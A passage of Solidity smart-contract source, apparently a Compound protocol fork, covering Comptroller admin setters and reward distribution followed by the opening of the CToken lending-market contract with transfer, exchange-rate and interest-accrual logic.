function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. * @param cTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps(CToken[] calldata cTokens, uint[] calldata newBorrowCaps) external { require(msg.sender == admin || msg.sender == borrowCapGuardian, "not an admin"); uint numMarkets = cTokens.length; uint numBorrowCaps = newBorrowCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input"); for(uint i = 0; i < numMarkets; i++) { borrowCaps[address(cTokens[i])] = newBorrowCaps[i]; emit NewBorrowCap(cTokens[i], newBorrowCaps[i]); } } /** * @notice Admin function to change the Borrow Cap Guardian * @param newBorrowCapGuardian The address of the new Borrow Cap Guardian */ function _setBorrowCapGuardian(address newBorrowCapGuardian) external { require(msg.sender == admin, "not an admin"); // Save current value for inclusion in log address oldBorrowCapGuardian = borrowCapGuardian; // Store borrowCapGuardian with value newBorrowCapGuardian borrowCapGuardian = newBorrowCapGuardian; // Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian) emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == comptrollerImplementation; } /*** Comp Distribution ***/ /** * @notice Recalculate and update COMP speeds for all COMP markets */ function refreshCompSpeeds() public { require(msg.sender == tx.origin, "only externally owned accounts may refresh speeds"); refreshCompSpeedsInternal(); } function refreshCompSpeedsInternal() internal { CToken[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompSupplyIndex(address(cToken)); updateCompBorrowIndex(address(cToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets_.length); for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; if (markets[address(cToken)].isComped) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)}); Exp memory utility = mul_(assetPrice, cToken.totalBorrows()); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0; compSpeeds[address(cToken)] = newSpeed; emit CompSpeedUpdated(cToken, newSpeed); } } /** * @notice Accrue COMP to the market by updating the supply index * @param cToken The market whose supply index to update */ function updateCompSupplyIndex(address cToken) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint supplySpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = CToken(cToken).totalSupply(); uint compAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); compSupplyState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Accrue COMP to the market by updating the borrow index * @param cToken The market whose borrow index to update */ function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; uint borrowSpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex); uint compAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); compBorrowState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to * @param distributeAll If true, all token will be distributed */ function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { Blo blo = Blo(getCompAddress()); uint bloRemaining = blo.balanceOf(address(this)); if (userAccrued <= bloRemaining) { blo.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { return claimComp(holder, allMarkets); } /** * @notice Claim all the comp accrued by holder in the specified markets * @param holder The address to claim COMP for * @param cTokens The list of markets to claim COMP in */ function claimComp(address holder, CToken[] memory cTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimComp(holders, cTokens, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompBorrowIndex(address(cToken), borrowIndex); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true); } } if (suppliers == true) { updateCompSupplyIndex(address(cToken)); for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j], true); } } } } /*** Comp Distribution Admin ***/ /** * @notice Set the COMP token address * @param _comp The COMP address */ function _setCompAddress(address _comp) public { require(msg.sender == admin, "not an admin"); emit NewBloAddress(comp, _comp); comp = _comp; } /** * @notice Set the amount of COMP distributed per block * @param compRate_ The amount of COMP wei per block to distribute */ function _setCompRate(uint compRate_) public { require(adminOrInitializing(), "not an admin"); uint oldRate = compRate; compRate = compRate_; emit NewCompRate(oldRate, compRate_); refreshCompSpeedsInternal(); } /** * @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel * @param cTokens The addresses of the markets to add */ function _addCompMarkets(address[] memory cTokens) public { require(adminOrInitializing(), "not an admin"); for (uint i = 0; i < cTokens.length; i++) { _addCompMarketInternal(cTokens[i]); } refreshCompSpeedsInternal(); } function _addCompMarketInternal(address cToken) internal { Market storage market = markets[cToken]; require(market.isListed == true, "comp market is not listed"); require(market.isComped == false, "comp market already added"); market.isComped = true; emit MarketComped(CToken(cToken), true); if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) { compSupplyState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) { compBorrowState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } } /** * @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel * @param cToken The address of the market to drop */ function _dropCompMarket(address cToken) public { require(msg.sender == admin, "not an admin"); Market storage market = markets[cToken]; require(market.isComped == true, "market is not a comp market"); market.isComped = false; emit MarketComped(CToken(cToken), false); refreshCompSpeedsInternal(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return comp; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ abstract contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); // unused function // comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external override nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external override nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external override returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external override view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external override view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external override returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external override view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external override view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external override view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public override view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public override view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external override view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() override public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, 